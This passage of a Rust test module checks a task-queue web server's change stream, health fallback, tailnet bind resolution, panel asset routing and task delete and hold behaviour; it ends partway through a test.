21153        assert!(
21154            seen.to_lowercase()
21155                .contains("content-type: text/event-stream"),
21156            "the browser only reconnects automatically for a real SSE stream: {seen}"
21157        );
21158        let data = seen
21159            .lines()
21160            .find_map(|l| l.strip_prefix("data:"))
21161            .expect("a data line");
21162        let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
21163        assert!(
21164            payload["queue_rev"].is_u64()
21165                && payload["runs_rev"].is_u64()
21166                && payload["questions_rev"].is_u64()
21167                && payload["talks_rev"].is_u64()
21168                && payload["notifications_rev"].is_u64()
21169                && payload["loop_rev"].is_u64(),
21170            "the client needs one revision per store to know what to refetch, \
21171             and `talks_rev` is the only notification a standing talk gets - a \
21172             phone whose radio slept through a turn learns about it here, as \
21173             does one whose operator started the loop from another device: \
21174             {payload}"
21175        );
21176
21177        // The front end re-polls health on a timer and on wake, and takes the
21178        // revisions from that answer whenever the stream is not up. So health
21179        // has to carry every key the stream carries: a phone on a link that
21180        // will not hold an SSE connection is exactly the phone that must still
21181        // notice a question, and a missing key there is not a 500 but a UI
21182        // that quietly stops updating.
21183        let health = f.get("/api/health").await.json();
21184        for key in [
21185            "queue_rev",
21186            "runs_rev",
21187            "questions_rev",
21188            "talks_rev",
21189            "notifications_rev",
21190            "loop_rev",
21191        ] {
21192            assert!(
21193                health[key].is_u64(),
21194                "health is the change stream's fallback and is missing `{key}`: {health}"
21195            );
21196        }
21197    }
21198
21199    #[tokio::test]
21200    async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
21201        let f = Fixture::start().await;
21202        let before = f.get("/api/health").await.json()["talks_rev"]
21203            .as_u64()
21204            .expect("talks_rev");
21205
21206        let talk = seed_talk(&f, "20260904-014455-ab12", "open");
21207        std::thread::sleep(Duration::from_millis(10));
21208        let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
21209        on_disk.turns.push(crate::talk::Turn {
21210            sender: None,
21211            breaks: Some(Vec::new()),
21212            messages: Vec::new(),
21213            posted_by: None,
21214            who: crate::talk::Who::Operator,
21215            body: "a new turn".to_owned(),
21216            at: Timestamp::now(),
21217            attachments: Vec::new(),
21218            usage: None,
21219        });
21220        f.talks().put(&mut on_disk).expect("record a turn");
21221
21222        let after = tokio::time::timeout(Duration::from_secs(5), async {
21223            loop {
21224                let revision = f.get("/api/health").await.json()["talks_rev"]
21225                    .as_u64()
21226                    .unwrap();
21227                if revision != before {
21228                    break revision;
21229                }
21230                tokio::time::sleep(Duration::from_millis(50)).await;
21231            }
21232        })
21233        .await
21234        .expect("shared monitor observes external turn");
21235        assert_ne!(
21236            before, after,
21237            "a phone must be able to notice a talk's reply without polling every store"
21238        );
21239    }
21240
21241    #[test]
21242    fn bind_reads_back_from_the_spelling_the_cli_prints() {
21243        // The CLI shows the default in `--help` and parses whatever comes
21244        // back, so the two directions have to agree or `--bind auto` breaks
21245        // the moment someone copies the help text.
21246        for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
21247            assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
21248        }
21249        assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
21250        assert!("everywhere".parse::<Bind>().is_err());
21251    }
21252
21253    #[test]
21254    fn an_explicit_bind_address_is_taken_verbatim() {
21255        let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
21256
21257        let (addr, warning) = resolve_bind(&Bind::Addr(asked));
21258
21259        assert_eq!(addr, asked);
21260        assert!(
21261            warning.is_none(),
21262            "an operator who named an address gets no lecture"
21263        );
21264    }
21265
21266    #[test]
21267    fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
21268        let (addr, warning) = resolve_bind(&Bind::Auto);
21269
21270        // This has to hold on a CI runner with no `tailscale` and on a dev box
21271        // with one, so the invariant asserted is the one shared by both
21272        // outcomes: the address is either a real tailnet address offered
21273        // without comment, or loopback with an explanation. What must never
21274        // happen is a silent fallback - an operator told "listening on
21275        // 127.0.0.1" with no reason would go looking for a firewall.
21276        match addr {
21277            IpAddr::V4(ip) if is_tailnet(&ip) => {
21278                assert!(warning.is_none(), "a tailnet address needs no warning");
21279            }
21280            other => {
21281                assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
21282                let warning = warning.expect("a fallback has to explain itself");
21283                assert!(
21284                    warning.contains("127.0.0.1") && warning.contains("local-only"),
21285                    "the warning says what happened and what it costs: {warning}"
21286                );
21287            }
21288        }
21289    }
21290
21291    #[test]
21292    fn only_the_cgnat_block_counts_as_a_tailnet_address() {
21293        // `tailscale ip -4` output is trusted only inside 100.64.0.0/10; the
21294        // boundary cases are what stop us binding to some other tool's idea of
21295        // an address.
21296        assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
21297        assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
21298        assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
21299        assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
21300        assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
21301    }
21302
21303    #[test]
21304    fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
21305        let ids = vec![
21306            "20260902-140501-aaaa".to_owned(),
21307            "20260902-140502-aabb".to_owned(),
21308        ];
21309
21310        let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
21311        let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
21312        let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
21313
21314        assert_eq!(missing.status, StatusCode::NOT_FOUND);
21315        assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
21316        assert_eq!(short, "20260902-140502-aabb");
21317    }
21318    #[tokio::test]
21319    async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
21320        // The prompt tells agents to reference attachments by bare filename.
21321        // A document served at `.../panel` resolves `shot.png` against its own
21322        // directory, i.e. `.../shot.png`, which is not the asset route - so a
21323        // panel written exactly as instructed showed broken images. Caught by
21324        // looking at a real one in a browser, not by reading the code.
21325        let fx = Fixture::start().await;
21326        let id = panel(
21327            &fx,
21328            "<img src=\"shot.png\">",
21329            &[("shot.png", b"\x89PNG\r\n\x1a\n")],
21330        );
21331
21332        // The frame's own URL ends in a filename, so its siblings are reachable.
21333        let doc = fx
21334            .get(&format!("/api/questions/{id}/panel/index.html"))
21335            .await;
21336        assert_eq!(doc.status, 200, "{}", doc.body);
21337        assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
21338
21339        let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
21340        assert_eq!(sibling.status, 200, "{}", sibling.body);
21341        assert_eq!(sibling.header("content-type"), Some("image/png"));
21342        assert_eq!(
21343            sibling.header("content-security-policy"),
21344            Some(PANEL_CSP),
21345            "the sibling route must carry the same policy as the asset route"
21346        );
21347
21348        // The original spelling keeps working: HEAD on it is how the front end
21349        // decides whether to mount a frame at all.
21350        assert_eq!(
21351            fx.head(&format!("/api/questions/{id}/panel")).await.status,
21352            200
21353        );
21354    }
21355
21356    #[test]
21357    fn delta_stamps_cover_add_update_remove_and_noop() {
21358        let before: Stamps = [("a".into(), (1, 10)), ("b".into(), (2, 20))].into();
21359        let after: Stamps = [("b".into(), (2, 21)), ("c".into(), (3, 30))].into();
21360        let delta = diff_stamps(&before, &after, 42);
21361        assert_eq!(delta.base, 42);
21362        assert_eq!(delta.changed, ["b", "c"]);
21363        assert_eq!(delta.removed, ["a"]);
21364        let same = diff_stamps(&after, &after, 43);
21365        assert!(same.changed.is_empty() && same.removed.is_empty());
21366        assert_ne!(stamps_revision(&before), stamps_revision(&after));
21367        let nanos: Stamps = [("b".into(), (2, 20))].into();
21368        let same_ms: Stamps = [("b".into(), (3, 20))].into();
21369        assert_ne!(stamps_revision(&nanos), stamps_revision(&same_ms));
21370        assert_eq!(stamps_revision(&Stamps::new()), 0);
21371    }
21372
21373    fn delta_test_ui(home: &FsPath) -> Arc<Ui> {
21374        std::fs::create_dir_all(home.join("runs")).unwrap();
21375        Arc::new(
21376            Ui::new(
21377                Queue::at(home.join("queue")),
21378                Questions::at(home.join("questions")),
21379                Talks::at(home.join("talks")),
21380                home.join("runs"),
21381                home.to_owned(),
21382                PathBuf::from("/repo/magi"),
21383            )
21384            .with_worktrees_root(home.join("wt")),
21385        )
21386    }
21387
21388    #[test]
21389    fn monitor_scan_isolates_store_failures_and_recovers() {
21390        let home = TempDir::new().unwrap();
21391        let ui = delta_test_ui(home.path());
21392        std::fs::create_dir_all(ui.questions.root()).unwrap();
21393        std::fs::write(ui.questions.root().join("q.json"), "{}").unwrap();
21394        let before = monitor_scan(&ui, None);
21395        std::fs::rename(ui.questions.root(), home.path().join("saved-questions")).unwrap();
21396        std::fs::write(ui.questions.root(), "not a directory").unwrap();
21397        std::fs::create_dir_all(ui.talks.root()).unwrap();
21398        std::fs::write(ui.talks.root().join("new.json"), "{}").unwrap();
21399        let during = monitor_scan(&ui, Some(before.clone()));
21400        assert_eq!(during.0.2, before.0.2);
21401        assert_ne!(during.0.3, before.0.3);
21402        assert!(during.1[2].contains_key("new"));
21403        std::fs::remove_file(ui.questions.root()).unwrap();
21404        let after = monitor_scan(&ui, Some(during));
21405        assert_eq!(after.0.2, 0);
21406        assert_eq!(after.0.3, stamps_revision(&after.1[2]));
21407        // A failed first scan also permits healthy stores to publish.
21408        std::fs::write(ui.questions.root(), "not a directory").unwrap();
21409        assert_eq!(monitor_scan(&ui, None).0.3, after.0.3);
21410    }
21411
21412    #[tokio::test]
21413    async fn delta_stream_announces_a_base_then_changed_and_removed_ids() {
21414        let home = TempDir::new().unwrap();
21415        let ui = delta_test_ui(home.path());
21416        let mut task = Task::new(
21417            "stream task".into(),
21418            "text".into(),
21419            PathBuf::from("/repo"),
21420            Source::Human,
21421        );
21422        ui.queue.put(&mut task).unwrap();
21423        let response = events(State(ui.clone())).await.into_response();
21424        let mut stream = response.into_body().into_data_stream();
21425        async fn change(stream: &mut axum::body::BodyDataStream) -> serde_json::Value {
21426            let chunk = tokio::time::timeout(Duration::from_secs(5), stream.next())
21427                .await
21428                .unwrap()
21429                .unwrap()
21430                .unwrap();
21431            let text = String::from_utf8(chunk.to_vec()).unwrap();
21432            let data = text
21433                .lines()
21434                .find_map(|line| {
21435                    line.strip_prefix("data: ")
21436                        .or_else(|| line.strip_prefix("data:"))
21437                })
21438                .unwrap();
21439            serde_json::from_str(data).unwrap()
21440        }
21441        let initial = change(&mut stream).await;
21442        assert!(initial.get("queue_delta").is_none());
21443        task.instruction.push_str(" changed");
21444        ui.queue.put(&mut task).unwrap();
21445        let updated = change(&mut stream).await;
21446        assert_eq!(updated["queue_delta"]["base"], initial["queue_rev"]);
21447        assert_eq!(
21448            updated["queue_delta"]["changed"],
21449            serde_json::json!([task.id])
21450        );
21451        assert_eq!(
21452            updated["queue_rev"].as_u64(),
21453            Some(stamps_revision(&store_stamps(ui.queue.root(), false)))
21454        );
21455        std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
21456        let removed = change(&mut stream).await;
21457        assert_eq!(removed["queue_delta"]["base"], updated["queue_rev"]);
21458        assert_eq!(
21459            removed["queue_delta"]["removed"],
21460            serde_json::json!([task.id])
21461        );
21462    }
21463
21464    #[tokio::test]
21465    async fn delta_lists_keep_blockers_and_respect_the_run_window() {
21466        let home = TempDir::new().unwrap();
21467        let ui = delta_test_ui(home.path());
21468        let queue = ui.queue.clone();
21469        let query = |ids: Option<&str>| {
21470            Query(ListQuery {
21471                limit: Some(2),
21472                ids: ids.map(str::to_owned),
21473            })
21474        };
21475        let mut root = Task::new(
21476            "root".into(),
21477            "instruction".into(),
21478            PathBuf::from("/repo"),
21479            Source::Human,
21480        );
21481        queue.put(&mut root).unwrap();
21482        let mut blocked = Task::new(
21483            "blocked".into(),
21484            "instruction".into(),
21485            PathBuf::from("/repo"),
21486            Source::Human,
21487        );
21488        blocked.block(vec![root.id.clone()], None);
21489        queue.put(&mut blocked).unwrap();
21490        let whole =
21491            serde_json::to_value(queue_list(State(ui.clone()), query(None)).await.unwrap().0)
21492                .unwrap();
21493        let subset = serde_json::to_value(
21494            queue_list(State(ui.clone()), query(Some(&root.id)))
21495                .await
21496                .unwrap()
21497                .0,
21498        )
21499        .unwrap();
21500        assert_eq!(whole, subset, "requested root plus its blocked dependent");
21501        let blockers = serde_json::to_value(
21502            queue_list(State(ui.clone()), query(Some("")))
21503                .await
21504                .unwrap()
21505                .0,
21506        )
21507        .unwrap();
21508        assert_eq!(blockers.as_array().unwrap().len(), 1);
21509        assert_eq!(blockers[0]["id"], blocked.id);
21510        assert_eq!(
21511            blockers[0]["waits_on"],
21512            whole
21513                .as_array()
21514                .unwrap()
21515                .iter()
21516                .find(|row| row["id"] == blocked.id)
21517                .unwrap()["waits_on"]
21518        );
21519
21520        for id in [
21521            "20260902-140501-aaaa",
21522            "20260902-140502-bbbb",
21523            "20260902-140503-cccc",
21524        ] {
21525            write_run(&ui.runs, id, RunStatus::Merged);
21526        }
21527        let old = serde_json::to_value(
21528            runs_list(State(ui.clone()), query(Some("20260902-140501-aaaa")))
21529                .await
21530                .unwrap()
21531                .0,
21532        )
21533        .unwrap();
21534        assert!(
21535            old.as_array().unwrap().is_empty(),
21536            "older updates must not enter the window"
21537        );
21538        let newest = serde_json::to_value(
21539            runs_list(State(ui.clone()), query(Some("20260902-140503-cccc")))
21540                .await
21541                .unwrap()
21542                .0,
21543        )
21544        .unwrap();
21545        assert_eq!(newest.as_array().unwrap().len(), 1);
21546        assert_eq!(newest[0]["id"], "20260902-140503-cccc");
21547
21548        seed_talk_at(&ui.talks, "20260905-000000-d4e5", "open");
21549        seed_talk_at(&ui.talks, "20260905-000001-d4e6", "open");
21550        let talks = serde_json::to_value(
21551            talks_list(
21552                State(ui.clone()),
21553                query(Some("20260905-000000-d4e5")),
21554                header::HeaderMap::new(),
21555            )
21556            .await
21557            .unwrap()
21558            .0,
21559        )
21560        .unwrap();
21561        assert_eq!(talks.as_array().unwrap().len(), 1);
21562        assert_eq!(talks[0]["id"], "20260905-000000-d4e5");
21563        assert_eq!(
21564            serde_json::to_value(
21565                talks_list(State(ui.clone()), query(Some("")), header::HeaderMap::new())
21566                    .await
21567                    .unwrap()
21568                    .0
21569            )
21570            .unwrap(),
21571            serde_json::json!([])
21572        );
21573    }
21574
21575    #[tokio::test]
21576    #[ignore = "manual payload measurement; requires a JSON snapshot in MAGI_WEB_BENCH_HOME"]
21577    async fn delta_payload_benchmark() {
21578        let home = PathBuf::from(std::env::var_os("MAGI_WEB_BENCH_HOME").expect("snapshot"));
21579        let ui = delta_test_ui(&home);
21580        let query = |ids: Option<String>| {
21581            Query(ListQuery {
21582                limit: Some(50),
21583                ids,
21584            })
21585        };
21586        let queue = queue_list(State(ui.clone()), query(None)).await.unwrap().0;
21587        let runs = runs_list(State(ui.clone()), query(None)).await.unwrap().0;
21588        let talks = talks_list(State(ui.clone()), query(None), header::HeaderMap::new())
21589            .await
21590            .unwrap()
21591            .0;
21592        let queue_id = queue
21593            .iter()
21594            .find(|row| row.task.status == crate::queue::TaskStatus::Running)
21595            .unwrap_or(&queue[0])
21596            .task
21597            .id
21598            .clone();
21599        let queue_delta = queue_list(State(ui.clone()), query(Some(queue_id)))
21600            .await
21601            .unwrap()
21602            .0;
21603        let runs_delta = runs_list(State(ui.clone()), query(Some(runs[0].id.clone())))
21604            .await
21605            .unwrap()
21606            .0;
21607        let talks_delta = talks_list(
21608            State(ui.clone()),
21609            query(Some(talks[0].id.clone())),
21610            header::HeaderMap::new(),
21611        )
21612        .await
21613        .unwrap()
21614        .0;
21615        let bytes = |rows: serde_json::Value| serde_json::to_vec(&rows).unwrap().len();
21616        eprintln!(
21617            "DELTA_PAYLOAD {}",
21618            serde_json::json!({
21619                "queue": [bytes(serde_json::to_value(&queue).unwrap()), bytes(serde_json::to_value(&queue_delta).unwrap())],
21620                "runs50": [bytes(serde_json::to_value(&runs).unwrap()), bytes(serde_json::to_value(&runs_delta).unwrap())],
21621                "talks": [bytes(serde_json::to_value(&talks).unwrap()), bytes(serde_json::to_value(&talks_delta).unwrap())],
21622                "counts": [queue.len(), runs.len(), talks.len()],
21623                "blocked": queue_delta.len() - 1,
21624            })
21625        );
21626    }
21627
21628    #[test]
21629    fn runs_revision_moves_when_deleting_an_older_run() {
21630        let temp = TempDir::new().expect("tempdir");
21631        let runs = temp.path().join("runs");
21632        std::fs::create_dir_all(&runs).expect("create runs dir");
21633
21634        assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
21635
21636        write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
21637        std::thread::sleep(Duration::from_millis(10));
21638        write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
21639
21640        let rev_before = runs_revision(&runs);
21641        assert!(rev_before > 0);
21642
21643        let old_dir = runs.join("20260901-100000-old1");
21644        std::fs::remove_dir_all(&old_dir).expect("remove old run");
21645
21646        let rev_after = runs_revision(&runs);
21647        assert_ne!(
21648            rev_before, rev_after,
21649            "deleting an older run must change the revision so other clients see the deletion"
21650        );
21651    }
21652
21653    /// A run's own `run.json` on an explicit `runs` root, bypassing the
21654    /// process-global home entirely — `RunState::save` writes through
21655    /// `run::home()`, whose `set_home` is a `OnceLock` no unit test may touch
21656    /// (see `tests::home_lock` in the integration suite for why).
21657    fn write_state(runs: &FsPath, state: &RunState) {
21658        let dir = runs.join(&state.id);
21659        std::fs::create_dir_all(&dir).expect("run dir");
21660        std::fs::write(
21661            dir.join("run.json"),
21662            serde_json::to_string_pretty(state).expect("serialize run"),
21663        )
21664        .expect("write run.json");
21665    }
21666
21667    /// A seat starting or finishing is a write to `run.json` like any other,
21668    /// so it moves the same revision the change stream already watches —
21669    /// nothing new for `/api/events` to learn, but the property this feature
21670    /// depends on to reach the phone without a poll.
21671    #[test]
21672    fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
21673        let temp = TempDir::new().expect("tempdir");
21674        let runs = temp.path().join("runs");
21675        std::fs::create_dir_all(&runs).expect("create runs dir");
21676        let mut state = RunState::new(
21677            PathBuf::from("/repo/magi"),
21678            "main".to_owned(),
21679            "0123456789abcdef".to_owned(),
21680            "task".to_owned(),
21681            Config::default(),
21682        );
21683        state.id = "20260902-100000-c0de".to_owned();
21684        write_state(&runs, &state);
21685
21686        let rev_idle = runs_revision(&runs);
21687        std::thread::sleep(Duration::from_millis(10));
21688        state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
21689        write_state(&runs, &state);
21690        let rev_started = runs_revision(&runs);
21691        assert_ne!(
21692            rev_idle, rev_started,
21693            "a seat starting must move the revision"
21694        );
21695
21696        std::thread::sleep(Duration::from_millis(10));
21697        state.seat_finished("judge-1");
21698        write_state(&runs, &state);
21699        let rev_finished = runs_revision(&runs);
21700        assert_ne!(
21701            rev_started, rev_finished,
21702            "and clearing it again must move the revision a second time"
21703        );
21704    }
21705
21706    #[tokio::test]
21707    async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
21708        // `TaskView` flattens `Task`, so this is really asserting that
21709        // `#[serde(flatten)]` at web.rs:2530 hasn't quietly dropped a field -
21710        // e11fc58 added `blocked_by`/`block_reason`/`answers` to `Task` but
21711        // never touched web.rs, so nothing here caught it if it had.
21712        let fx = Fixture::start().await;
21713        let q = fx.queue();
21714
21715        let mut t = Task::new(
21716            "Task".to_owned(),
21717            "Instruction".to_owned(),
21718            PathBuf::from("/repo"),
21719            Source::Human,
21720        );
21721        t.block(
21722            vec!["20260101-000000-dead".to_owned()],
21723            Some("waiting on Task 1".to_owned()),
21724        );
21725        t.answers.push(crate::queue::AnsweredQuestion {
21726            question: "Which backend?".to_owned(),
21727            answer: "SQLite".to_owned(),
21728        });
21729        q.put(&mut t).expect("put t");
21730
21731        let res = fx.get("/api/queue").await;
21732        assert_eq!(res.status, 200);
21733        let list = res.json();
21734        let view = list
21735            .as_array()
21736            .expect("array")
21737            .iter()
21738            .find(|v| v["id"] == t.id)
21739            .expect("task in list");
21740        assert_eq!(view["status_str"], "blocked");
21741        assert_eq!(
21742            view["blocked_by"],
21743            serde_json::json!(["20260101-000000-dead"])
21744        );
21745        assert_eq!(view["block_reason"], "waiting on Task 1");
21746        assert_eq!(view["answers"][0]["question"], "Which backend?");
21747        assert_eq!(view["answers"][0]["answer"], "SQLite");
21748
21749        // A manual hold clears `blocked_by`/`block_reason` (`Task::hold_manual`)
21750        // but never `answers` - that is a settled decision, not state
21751        // describing the current block, so it survives.
21752        let res = fx
21753            .post(&format!("/api/queue/{}/hold", t.short()), None)
21754            .await;
21755        assert_eq!(res.status, 200);
21756        let held = res.json();
21757        assert_eq!(held["status_str"], "held");
21758        assert_eq!(held["blocked_by"], serde_json::json!([]));
21759        assert!(held["block_reason"].is_null());
21760        assert_eq!(held["answers"][0]["answer"], "SQLite");
21761    }
21762
21763    #[tokio::test]
21764    async fn task_recovery_pending_decisions_block_disk_autoresume() {
21765        let fx = Fixture::start().await;
21766        let queue = fx.queue();
21767        let questions = fx.questions();
21768        let mut task = Task::new(
21769            "Disk recovery".into(),
21770            "Inspect".into(),
21771            PathBuf::from("/repo"),
21772            Source::Human,
21773        );
21774        task.hold_machine(crate::disk::gate(2_667_941_888, 3_221_225_472));
21775        queue.put(&mut task).unwrap();
21776        let mut records = Vec::new();
21777        for node in [crate::triage::NODE, crate::triage::DEPS_NODE] {
21778            let mut q = Question::new(
21779                task.id.clone(),
21780                node.into(),
21781                "triage".into(),
21782                "Resume recovery?".into(),
21783                String::new(),
21784                vec![],
21785            );
21786            q.routed_task = Some(task.id.clone());
21787            questions.put(&mut q).unwrap();
21788            records.push(q);
21789        }
21790        let url = format!("/api/queue/{}", task.id);
21791        let view = fx.get(&url).await.json();
21792        assert_eq!(view["status_str"], "held");
21793        assert_eq!(view["blockers"].as_array().unwrap().len(), 2);
21794        assert!(
21795            view["recovery"]
21796                .as_str()
21797                .unwrap()
21798                .contains("Disk recovery alone will not resume")
21799        );
21800        assert!(
21801            view["recovery"]
21802                .as_str()
21803                .unwrap()
21804                .contains("If no recovery decision is pending")
21805        );
21806        for blocker in view["blockers"].as_array().unwrap() {
21807            assert!(blocker["destination"].is_null());
21808            assert!(
21809                blocker["next"]
21810                    .as_str()
21811                    .unwrap()
21812                    .contains("pending delivery")
21813            );
21814        }
21815        for q in &mut records {
21816            q.routed_chat = Some("owning-chat".into());
21817            questions.put(q).unwrap();
21818        }
21819        let view = fx.get(&url).await.json();
21820        for blocker in view["blockers"].as_array().unwrap() {
21821            assert_eq!(
21822                blocker["destination"],
21823                serde_json::json!(["chat", "owning-chat"])
21824            );
21825            assert_eq!(blocker["resolves_itself"], false);
21826        }
21827        // Answered routed decisions can still be awaiting task-chat application.
21828        for q in &mut records {
21829            q.status = ask::QuestionStatus::Answered;
21830            questions.put(q).unwrap();
21831        }
21832        assert!(crate::triage::pending_for(&questions, &task));
21833        let view = fx.get(&url).await.json();
21834        assert_eq!(view["blockers"].as_array().unwrap().len(), 2);
21835        assert!(
21836            view["blockers"][0]["next"]
21837                .as_str()
21838                .unwrap()
21839                .contains("not yet applied")
21840        );
21841        for q in &records {
21842            task.mark_triage_applied(&q.id);
21843        }
21844        queue.put(&mut task).unwrap();
21845        assert!(!crate::triage::pending_for(&questions, &task));
21846        assert_eq!(fx.get(&url).await.json()["blockers"], serde_json::json!([]));
21847        assert_eq!(queue.get(&task.id).unwrap().status, TaskStatus::Held);
21848    }
21849
21850    #[test]
21851    fn task_recovery_distinguishes_dependency_restoration_and_hold_ownership() {
21852        use crate::queue::HoldSource;
21853        let mut task = Task::new(
21854            "Recovery".into(),
21855            "Inspect".into(),
21856            PathBuf::from("/repo"),
21857            Source::Human,
21858        );
21859        assert!(task_recovery(&task).is_none());
21860        task.hold_manual(Some("Operator paused".into()));
21861        assert!(task_recovery(&task).unwrap().contains("explicitly Release"));
21862        task.block(vec!["dependency".into()], Some("Decision needed".into()));
21863        let text = task_recovery(&task).unwrap();
21864        assert!(text.contains("restores held"));
21865        assert!(text.contains("clears its dependency references"));
21866        task.hold_source = Some(HoldSource::Machine);
21867        task.hold_reason = crate::disk::gate(2_667_941_888, 3_221_225_472);
21868        let view = TaskView::with_inventory(
21869            task.clone(),
21870            &crate::blockers::Inventory::new(vec![task.clone()], &[]),
21871        );
21872        let json = serde_json::to_value(view).unwrap();
21873        assert_eq!(json["block_reason"], "Decision needed");
21874        assert!(json["hold_reason"].as_str().unwrap().contains("2667941888"));
21875        let recovery = json["recovery"].as_str().unwrap();
21876        assert!(recovery.contains("not current capacity"));
21877        assert!(recovery.contains("triage rechecks"));
21878        assert_eq!(json["blockers"][0]["state"], "missing");
21879        task.blocked_from = Some(TaskStatus::Queued);
21880        assert!(!task_recovery(&task).unwrap().contains("triage rechecks"));
21881        task.blocked_from = None;
21882        assert!(task_recovery(&task).unwrap().contains("restores held"));
21883    }
21884
21885    #[tokio::test]
21886    async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
21887        let fx = Fixture::start().await;
21888        let q = fx.queue();
21889        let mk = |title: &str| {
21890            Task::new(
21891                title.to_owned(),
21892                "Instruction".to_owned(),
21893                PathBuf::from("/repo"),
21894                Source::Human,
21895            )
21896        };
21897        let mut root = mk("root");
21898        root.hold_manual(Some("waiting".to_owned()));
21899        q.put(&mut root).unwrap();
21900        let mut mid = mk("mid");
21901        mid.block(vec![root.id.clone()], None);
21902        q.put(&mut mid).unwrap();
21903        let mut leaf = mk("leaf");
21904        leaf.block(vec![mid.id.clone()], None);
21905        q.put(&mut leaf).unwrap();
21906
21907        let list = fx.get("/api/queue").await.json();
21908        let find = |id: &str| {
21909            list.as_array()
21910                .unwrap()
21911                .iter()
21912                .find(|v| v["id"] == id)
21913                .unwrap()
21914                .clone()
21915        };
21916        let leaf_view = find(&leaf.id);
21917        assert_eq!(
21918            leaf_view["waits_on"],
21919            serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
21920        );
21921        assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
21922        assert_eq!(
21923            find(&mid.id)["waits_on"],
21924            serde_json::json!([format!("{} (held)", root.short())])
21925        );
21926        assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
21927    }
21928
21929    #[tokio::test]
21930    async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
21931        let fx = Fixture::start().await;
21932        let q = fx.queue();
21933
21934        // 1. A queued task with runs attached can be deleted.
21935        let mut t1 = Task::new(
21936            "Task 1".to_owned(),
21937            "Instruction 1".to_owned(),
21938            PathBuf::from("/repo"),
21939            Source::Human,
21940        );
21941        let run_id = "20260901-000000-r111";
21942        t1.runs.push(run_id.to_owned());
21943        write_run(&fx.runs(), run_id, RunStatus::Merged);
21944        q.put(&mut t1).expect("put t1");
21945
21946        // Delete by short id
21947        let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
21948        assert_eq!(res.status, 204);
21949        assert!(res.body.is_empty(), "204 No Content has no body");
21950        assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
21951        assert!(
21952            fx.runs().join(run_id).exists(),
21953            "run directory must not be deleted when its task is deleted"
21954        );
21955
21956        // 2. A task a live daemon is running is refused with 409.
21957        let mut t2 = Task::new(
21958            "Task 2".to_owned(),
21959            "Instruction 2".to_owned(),
21960            PathBuf::from("/repo"),
21961            Source::Human,
21962        );
21963        t2.status = TaskStatus::Running;
21964        q.put(&mut t2).expect("put t2");
21965        let mut beat = crate::daemon::Status::new();
21966        beat.current = vec![crate::daemon::Current {
21967            worker: None,
21968            task: t2.id.clone(),
21969            run: "20260901-000000-r222".to_owned(),
21970        }];
21971        beat.updated_at = jiff::Timestamp::now();
21972        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21973            .expect("publish a heartbeat");
21974        let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
21975        assert_eq!(res.status, 409);
21976        assert!(
21977            res.json()["error"]
21978                .as_str()
21979                .unwrap()
21980                .contains("live daemon")
21981        );
21982        assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
21983
21984        // 3. The same `running` status and an orphaned lock, with no daemon
21985        // behind either, is a leftover and deletable. Before this the phone
21986        // refused it for good: the status never changes on its own and
21987        // nothing drops a lock whose process is gone.
21988        // The daemon is killed: the file stays, the heartbeat stops.
21989        beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
21990        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21991            .expect("leave a stale heartbeat");
21992        let mut t3 = Task::new(
21993            "Task 3".to_owned(),
21994            "Instruction 3".to_owned(),
21995            PathBuf::from("/repo"),
21996            Source::Human,
21997        );
21998        t3.status = TaskStatus::Running;
21999        q.put(&mut t3).expect("put t3");
22000        std::mem::forget(q.claim(&t3.id).expect("claim t3"));
22001        let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
22002        assert_eq!(res.status, 204);
22003        assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
22004        assert!(
22005            q.claim(&t3.id).is_ok(),
22006            "the stale lock went with it, so the id is claimable again"
22007        );
22008
22009        // 4. Missing id returns 404
22010        let res = fx.delete("/api/queue/nonexistent").await;
22011        assert_eq!(res.status, 404);
22012    }
22013
22014    #[tokio::test]
22015    async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
22016        let fx = Fixture::start().await;
22017        let runs = fx.runs();
22018
22019        // 1. Finished and folded run can be deleted along with artifacts
22020        let run_id = "20260901-000000-fold";
22021        let mut state = RunState::new(
22022            PathBuf::from("/repo"),
22023            "main".to_owned(),
22024            "abc".to_owned(),
